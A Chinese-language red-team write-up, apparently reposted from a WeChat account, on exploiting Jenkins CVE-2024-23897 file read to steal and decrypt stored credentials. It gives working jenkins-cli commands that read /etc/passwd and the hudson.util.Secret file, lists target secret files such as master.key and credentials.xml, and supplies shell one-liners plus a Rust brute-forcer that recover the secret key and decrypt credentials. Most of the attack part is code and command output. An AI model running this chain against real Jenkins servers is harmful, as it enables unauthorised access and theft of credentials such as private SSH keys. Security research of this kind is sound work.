长话短说:
作为一名红队成员,您遇到了一个存在 CVE-2024-23897 漏洞的 Jenkins 实例,该漏洞允许有限的任意文件读取。在没有凭证且 /script 端点无法访问的情况下,您试图通过泄露 Hudson 来解密凭证,从而利用此漏洞。
CVE-2024-23897 是什么?
CVE-2024-23897 是 Jenkins 中的一个严重漏洞,攻击者可以利用该漏洞读取 Jenkins 服务器上的任意文件,从而可能导致远程代码执行。此漏洞源自 args4j 库,当参数以“@”字符开头时,该库会自动将文件内容扩展为命令参数。
尽管在线资源经常表明此漏洞可能导致远程代码执行,但它们通常无法解释这种升级所需的具体技术细节和 POC。
RCE 条件:
1.资源根 URL:
-
“资源根 URL”功能已启用。
-
攻击者可以检索二进制秘密。
-
攻击者需要 (非匿名) 用户帐户的 API 令牌。此用户帐户当前不需要拥有总体/读取权限。
2.“记住我” Cookie:
-
“记住我”功能已启用(默认设置)。
-
攻击者拥有总体/读取权限,这使他们可以读取文件中初始行以外的内容。
-
攻击者可以检索二进制秘密。
3.通过绕过 CSRF 保护执行远程代码:
-
攻击者可以检索二进制秘密。
-
Web 会话 ID 不是 CSRF 碎片的一部分。
在我们的案例中,上述条件均未得到满足。此外,该通报还提到了读取二进制文件的限制,详情如下:
读取二进制文件的限制
可用漏洞
有几种可用的 POC,到目前为止我尝试过的最好的是这个
git clone https://github.com/xaitax/CVE-2024-23897.git
作为未经身份验证的用户,我们只能通过提供的命令读取任何文件的前三行。
-
who-am-i:读取第一行。
-
enable-job:读第二行。
-
help:读第3行。
也可以直接使用文件执行jenkins-cli.jar,该文件可以从 URL 下载http://target/jnlpJars/jenkins-cli.jar。例如:
java -jar jenkins-cli.jar -s http://localhost:9091 who-am-i '@/etc/passwd' 2>&1
ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
java -jar jenkins-cli.jar who-am-i
Reports your credential and permissions.
在实际的红队行动中,目标很可能需要通过隧道(Proxychains)来访问,而工具jenkins-cli.jar可能无法通过,但可以使用 Python 脚本。在这种情况下,可以在 Windows 机器上使用 Proxifier 之类的工具来克服这一挑战。
读取文件
由于身份验证,我们可以访问的线路有限,因此我们必须确定可能部分帮助我们的感兴趣的文件。
可以测试的关键文件包括:
-
/proc/self/environ
-
/proc/self/cmdline
-
${JENKINS_HOME}/credentials.xml(Jenkins 主页位于/proc/self/*)
-
${JENKINS_HOME}/secrets/master.key
-
${JENKINS_HOME}/secrets/initialAdminPassword
即使攻击者可以访问所有上述文件(包括),但master.key仅靠这些资产也不足以解密凭证。
对 Jenkins 如何加密和解密凭证的分析(如该脚本所示)表明,需要三个组件:
-
master.key
-
hudson.util.Secret(二进制文件)
-
encrypted credential(例如,AQAAABAAAAAQmEZaw8Fv9tPlXWVQye1TR2KgF3p/wGoYs/TEQCmSxkk=)
分析二进制数据的检索
在二进制数据检索中,缺少hudson.util.Secret会带来重大挑战。尝试使用上述漏洞检索它将失败,并伴有以下错误:
http://localhost:9091 not reachable: 'utf-8' codec can't decode byte 0xc6 in position 10: invalid continuation byte
result = response.hex()
在研究过程中,我们发现 ippSec 在尝试解决构建机器时也遇到了类似的问题,正如他们的 YouTube 视频 https://www.youtube.com/watch?v=jYCOIf9Fcmo&t=1427s 中所强调的那样。
Wireshark 分析
使用 Wireshark 分析检查二进制文件的检索。值得注意的是,二进制文件在字节序列之后开始,从第 4 个字节开始643a20重复序列。EFBFBD
EFBFBD 和 UTF-8 转换 (�)
EF BF BD(十六进制),这是 Unicode 字符的 utf-8 编码 U+FFFD替换字符。当将字节序列解码为 Unicode 字符时,程序可能会遇到一组无效的字节(即它不对应于 Unicode 字符)。在这种情况下,程序有三种选择:它可以停止解码并引发错误,默默跳过无效的字节组,或者将字节组转换为特殊标记。后一种方案允许读取大部分文本,但仍会留下出现问题的迹象。
偶然发现了Guillaume的博客,这给了我很大的启发。Guillaume 解释了 UTF-8 和EFBFBD替换字符的暴力破解方法,并用 rust 编写了一段很好的代码来破解它。
如果你能破解我的话:感谢山姆大叔的出口规则!
如前所述,该漏洞受限于只能读取密钥的几行,因此很难破解。然而,Guillaume 有了新发现:由于美国出口限制,密钥仅限于128 bits或16 bytes。
这意味着,为了成功解密,只读取16 bytesHudson 文件的第一部分就足够了,即使只有前面几行可访问。
根据已知明文记录密钥
现在有了credentials.xml文件中的加密凭据,或者您可以通过构建日志历史记录获取,以防您在红队期间设法从受限访问用户那里窃取 cookie,但/script由于缺乏overall permissions我们可以知道部分纯文本凭据而仍然无法访问,例如,如果它是私钥,通常它以它开头-----BEGIN OPENSSH PRIVATE KEY-----,因为我们的目标是前 16 个字节,它应该按如下方式工作:
风不随船而动
在仔细阅读了 Guillaume 代码和博客文章,并理解了替换字符的概念后,我迫不及待地想要开始解密 Hudson 和保密密钥。不幸的是,我的期待落空了。
在我的情况下,检查初始 16 个字节后,很明显EFBFBD替换字符不存在。
Hudson 文件的实际字节数从 之后开始3a20。前 32 个字节由 Jenkins-cli 本身输出,与文件无关。
为了避免Hudson文件本身的字节和jenkins-cli错误混淆,可以应用下面的单行代码:
cat hudson.bin | tail -c +33 | head -c +16 | xxd
字节模式
我找不到替换字节EFBFBD,这可能意味着 Hudson 二进制文件已正确检索,或者有其他问题。破解机密密钥无效。
考虑到不同的编码可能会改变替换字节,我想知道它是一个序列还是只是一个字节。
我设置了几个具有不同环境和编码的 Jenkins 实例,读取二进制文件以发现模式。我怀疑替换字节可能是一个字节。
使用这一行代码,我检查了重复次数最多的字节,并将其确定0x3f为潜在的替换字节
dd if=hudson.bin bs=1 skip=32 count=16 2>/dev/null | xxd -p | fold -w2 | sort | uniq -c | sort -nr | head -n 1
通过查看几种编码,我们可以大致了解替换字符字节的样子,如下表所示:
编码 | 替换字节 |
UTF-8 |
EF BF BD |
UTF-16 |
00FD Big Endian / FD00 Little Endian |
UTF-32 |
0000FFD Big Endian / FDFF0000 Little Endian |
ISO-8859-1 (Latin-1) |
3f |
分析加密文件,获取IV和密文
此外,基于上述测试,我们需要分析密文并提取 IV 和 16 个字节的密码。我们注意到该文件有一个标头,然后是 IV,然后是密文。
IV 通常从10th字节的头部之后开始。
放在一起
现在是时候把所有内容放在一起并自动执行破解加密凭据的步骤了:
获取Hudson文件
java -jar jenkins-cli.jar -s http://localhost:9091 who-am-i '@/var/jenkins_home/secrets/hudson.util.Secret' 2>&1 | tail -c +33 | head -c 192 | xxd | tee hudson.bin
对 master.key 进行排序
主密钥所需的步骤是将其十六进制化,然后对其第一个进行 sha25616 bytes
cat masterkey.bin | xxd -p | tr -d 'n' | xxd -r -p | sha256sum | cut -c1-32 | sed 's/../0x&,/g'
获取IV和密文
您可以将这些行应用于密文
echo -n $1 | base64 -d | tail -c +10 | head -c +16 | xxd -p | sed 's/../0x&,/g'
echo -n $1 | base64 -d | tail -c +26 | xxd -p | sed 's/../0x&,/g'
第一个输出为 IV,第二个输出为密文。
开始暴力破解
我将使用由 Guillaume 开发的相同 rust 代码,并稍作修改,仅检查可打印字符,并检查解密文本的前 5 个字节是否是-----私有 ssh 密钥的开头。
extern crate aes;
extern crate rayon;
extern crate itertools;
use std::str;
use rayon::prelude::*;
use aes::Aes128;
use aes::cipher::typenum;
use aes::cipher::{
BlockDecrypt, KeyInit,
generic_array::GenericArray,
};
fn do_decrypt(candidate: GenericArray<u8, typenum::U16>) {
let mut ct = GenericArray::from([]);
let iv = GenericArray::from([]);
let cipher2 = Aes128::new(&candidate);
cipher2.decrypt_block(&mut ct);
// AES-CBC, need to xor pt with iv
for n in 0..16 {
ct[n] ^= iv[n];
}
// checking if the first 5 bytes start with ----
for k in 0..5{
if ct[k] != 0x2d {
return
}
}
// ensure that all decrypted bytes are printable characters
for k in 0..16 {
if ct[k as usize] > 0x7F || ct[k as usize] < 0x20 {
return
}
}
println!("{:?}: Candidate {:?}", str::from_utf8(&ct), &candidate);
}
fn main() {
let derived_master_key = GenericArray::from([]);
let cipher1 = Aes128::new(&derived_master_key);
let vec: Vec<u8> = (0x80..=0xFF).collect();
vec.par_iter().for_each(|a: &u8| {
for b in 0x80..=0xFF {
for c in 0x80..=0xFF {
for d in 0x80..=0xFF {
for e in 0x80..=0xFF {
let mut candidate = GenericArray::from([]);
cipher1.decrypt_block(&mut candidate);
do_decrypt(candidate)
}
}
}
}
});
}
破解行动/演示
演示视频
表现
我在Macbook M1 Pro上执行了该脚本,字节数为5,大约花费了9分28秒到18分29秒。
最后的想法
丢失的字节可能会有所不同;有时少于 6 个字节,有时最多为 9 个字节。
编码会对结果产生重大影响,因此请注意潜在的编码问题。
对漏洞警告要谨慎;它们可能会产生误导。
原文始发于微信公众号(Ots安全):从 Jenkins 上的受限文件读取到 Full Access (CVE-2024-23897)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论